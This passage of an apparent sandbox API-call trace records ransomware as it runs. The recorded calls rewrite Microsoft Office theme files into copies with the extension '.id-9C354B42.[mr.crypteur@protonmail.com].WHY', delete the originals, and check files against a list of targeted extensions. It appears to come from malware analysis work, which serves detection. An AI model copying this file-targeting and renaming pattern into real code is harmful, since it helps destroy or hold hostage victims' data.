lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0275.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0275.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0275.631] GetLastError () returned 0x0 [0275.631] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x8e301, lpOverlapped=0x0) returned 1 [0275.845] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0276.444] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0276.444] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0276.445] SetEndOfFile (hFile=0x3c8) returned 1 [0276.445] CloseHandle (hObject=0x3c8) returned 1 [0277.029] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0277.030] SetEndOfFile (hFile=0x38c) returned 1 [0277.320] CloseHandle (hObject=0x38c) returned 1 [0277.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0277.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.738] lstrlenW (lpString=".doc") returned 4 [0277.738] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.738] lstrlenW (lpString=".docx") returned 5 [0277.738] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.739] lstrlenW (lpString=".pdf") returned 4 [0277.739] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.739] lstrlenW (lpString=".xls") returned 4 [0277.739] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.739] lstrlenW (lpString=".xlsx") returned 5 [0277.739] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.739] lstrlenW (lpString=".ppt") returned 4 [0277.739] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.739] lstrlenW (lpString=".zip") returned 4 [0277.739] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.739] lstrlenW (lpString=".rar") returned 4 [0277.739] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.740] lstrlenW (lpString=".bz2") returned 4 [0277.740] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.740] lstrlenW (lpString=".7z") returned 3 [0277.740] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.740] lstrlenW (lpString=".dbf") returned 4 [0277.740] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.740] lstrlenW (lpString=".1cd") returned 4 [0277.740] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.740] lstrlenW (lpString=".jpg") returned 4 [0277.740] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.741] lstrlenW (lpString=".doc") returned 4 [0277.741] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.741] lstrlenW (lpString=".docx") returned 5 [0277.741] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.741] lstrlenW (lpString=".pdf") returned 4 [0277.741] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.741] lstrlenW (lpString=".xls") returned 4 [0277.741] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.741] lstrlenW (lpString=".xlsx") returned 5 [0277.741] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.741] lstrlenW (lpString=".ppt") returned 4 [0277.742] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.742] lstrlenW (lpString=".zip") returned 4 [0277.742] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.742] lstrlenW (lpString=".rar") returned 4 [0277.742] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.742] lstrlenW (lpString=".bz2") returned 4 [0277.742] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.742] lstrlenW (lpString=".7z") returned 3 [0277.742] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.742] lstrlenW (lpString=".dbf") returned 4 [0277.742] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.743] lstrlenW (lpString=".1cd") returned 4 [0277.743] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0277.743] lstrlenW (lpString=".jpg") returned 4 [0277.743] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.743] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0277.744] lstrlenW (lpString="Technic.eftx") returned 12 [0277.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0277.851] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=23692) returned 1 [0277.851] CloseHandle (hObject=0x3b4) returned 1 [0277.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0277.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0277.935] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0277.935] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0277.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0277.937] GetLastError () returned 0x0 [0277.937] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0278.042] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0278.046] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0278.046] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.046] SetEndOfFile (hFile=0x320) returned 1 [0278.047] CloseHandle (hObject=0x320) returned 1 [0278.049] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0278.049] SetEndOfFile (hFile=0x3b0) returned 1 [0278.056] CloseHandle (hObject=0x3b0) returned 1 [0278.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0278.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.058] lstrlenW (lpString=".doc") returned 4 [0278.058] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.058] lstrlenW (lpString=".docx") returned 5 [0278.058] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.058] lstrlenW (lpString=".pdf") returned 4 [0278.058] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.059] lstrlenW (lpString=".xls") returned 4 [0278.059] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.059] lstrlenW (lpString=".xlsx") returned 5 [0278.059] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.059] lstrlenW (lpString=".ppt") returned 4 [0278.059] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.059] lstrlenW (lpString=".zip") returned 4 [0278.059] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.059] lstrlenW (lpString=".rar") returned 4 [0278.059] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.059] lstrlenW (lpString=".bz2") returned 4 [0278.059] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.059] lstrlenW (lpString=".7z") returned 3 [0278.059] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.060] lstrlenW (lpString=".dbf") returned 4 [0278.060] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.060] lstrlenW (lpString=".1cd") returned 4 [0278.060] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.060] lstrlenW (lpString=".jpg") returned 4 [0278.060] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.060] lstrlenW (lpString=".doc") returned 4 [0278.060] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.060] lstrlenW (lpString=".docx") returned 5 [0278.060] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.061] lstrlenW (lpString=".pdf") returned 4 [0278.061] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.061] lstrlenW (lpString=".xls") returned 4 [0278.061] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.061] lstrlenW (lpString=".xlsx") returned 5 [0278.061] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.061] lstrlenW (lpString=".ppt") returned 4 [0278.061] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.061] lstrlenW (lpString=".zip") returned 4 [0278.061] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.061] lstrlenW (lpString=".rar") returned 4 [0278.061] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.061] lstrlenW (lpString=".bz2") returned 4 [0278.061] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.061] lstrlenW (lpString=".7z") returned 3 [0278.062] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.062] lstrlenW (lpString=".dbf") returned 4 [0278.062] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.062] lstrlenW (lpString=".1cd") returned 4 [0278.062] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0278.062] lstrlenW (lpString=".jpg") returned 4 [0278.062] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.063] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0278.063] lstrlenW (lpString="Thatch.eftx") returned 11 [0278.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0278.613] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=41295) returned 1 [0278.613] CloseHandle (hObject=0x3c8) returned 1 [0278.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0278.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0279.531] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0279.532] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0279.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.534] GetLastError () returned 0x0 [0279.534] ReadFile (in: hFile=0x15c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0xa14f, lpOverlapped=0x0) returned 1 [0279.543] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xa150, lpOverlapped=0x0) returned 1 [0279.549] ReadFile (in: hFile=0x15c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0279.549] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0279.549] SetEndOfFile (hFile=0x390) returned 1 [0279.550] CloseHandle (hObject=0x390) returned 1 [0279.554] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0279.554] SetEndOfFile (hFile=0x15c) returned 1 [0279.564] CloseHandle (hObject=0x15c) returned 1 [0279.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0279.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.566] lstrlenW (lpString=".doc") returned 4 [0279.566] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0279.566] lstrlenW (lpString=".docx") returned 5 [0279.566] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0279.566] lstrlenW (lpString=".pdf") returned 4 [0279.567] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0279.567] lstrlenW (lpString=".xls") returned 4 [0279.567] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0279.567] lstrlenW (lpString=".xlsx") returned 5 [0279.567] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0279.567] lstrlenW (lpString=".ppt") returned 4 [0279.567] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0279.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.567] lstrlenW (lpString=".zip") returned 4 [0279.567] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0279.567] lstrlenW (lpString=".rar") returned 4 [0279.567] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0279.568] lstrlenW (lpString=".bz2") returned 4 [0279.568] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0279.568] lstrlenW (lpString=".7z") returned 3 [0279.568] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0279.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.568] lstrlenW (lpString=".dbf") returned 4 [0279.568] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0279.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.568] lstrlenW (lpString=".1cd") returned 4 [0279.568] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0279.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.569] lstrlenW (lpString=".jpg") returned 4 [0279.569] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0279.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.569] lstrlenW (lpString=".doc") returned 4 [0279.569] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0279.569] lstrlenW (lpString=".docx") returned 5 [0279.569] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0279.569] lstrlenW (lpString=".pdf") returned 4 [0279.570] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0279.570] lstrlenW (lpString=".xls") returned 4 [0279.570] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0279.570] lstrlenW (lpString=".xlsx") returned 5 [0279.570] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0279.570] lstrlenW (lpString=".ppt") returned 4 [0279.570] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0279.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.570] lstrlenW (lpString=".zip") returned 4 [0279.570] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0279.570] lstrlenW (lpString=".rar") returned 4 [0279.570] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0279.571] lstrlenW (lpString=".bz2") returned 4 [0279.571] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0279.571] lstrlenW (lpString=".7z") returned 3 [0279.571] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0279.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.571] lstrlenW (lpString=".dbf") returned 4 [0279.571] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0279.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.571] lstrlenW (lpString=".1cd") returned 4 [0279.571] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0279.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0279.571] lstrlenW (lpString=".jpg") returned 4 [0279.571] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0279.572] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0279.572] lstrlenW (lpString="Waveform.eftx") returned 13 [0279.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0280.143] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=112504) returned 1 [0280.143] CloseHandle (hObject=0x3c8) returned 1 [0280.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0280.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0280.388] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0280.390] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0280.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0280.655] GetLastError () returned 0x0 [0280.655] ReadFile (in: 